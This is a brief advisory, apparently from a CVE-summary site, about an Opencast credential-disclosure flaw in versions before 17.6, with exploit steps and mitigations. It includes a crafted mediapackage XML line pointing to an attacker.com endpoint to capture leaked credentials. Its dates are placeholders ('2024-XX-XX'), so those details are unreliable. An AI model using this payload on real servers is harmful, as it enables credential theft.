Listen to this Post
How the CVE Works:
Opencast versions before 17.6 mishandle the transmission of hashed global system account credentials (org.opencastproject.security.digest.user and org.opencastproject.security.digest.pass) when retrieving mediapackage elements from external URLs. Attackers with ingest permissions can manipulate the system into sending these credentials to a malicious endpoint. While previous fixes mitigated some cases, this CVE addresses remaining scenarios where credentials are leaked via crafted mediapackage XML files.
DailyCVE Form:
Platform: Opencast
Version: <17.6
Vulnerability: Credential Disclosure
Severity: Critical
Date: 2024-XX-XX
Prediction: Patch expected by 2024-XX-XX
What Undercode Say:
Analytics:
curl -X GET "http://target/endpoint" -H "Authorization: Digest ..."
<mediapackage><element url="http://attacker.com/leak"/></mediapackage>
How Exploit:
- Attacker crafts malicious mediapackage XML.
- System fetches external URL, sends credentials.
- Credentials intercepted by attacker.
Protection from this CVE:
- Upgrade to Opencast 17.6.
- Restrict ingest permissions.
- Monitor outbound credential transmissions.
Impact:
- Unauthorized system access.
- Privilege escalation.
- Data compromise.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
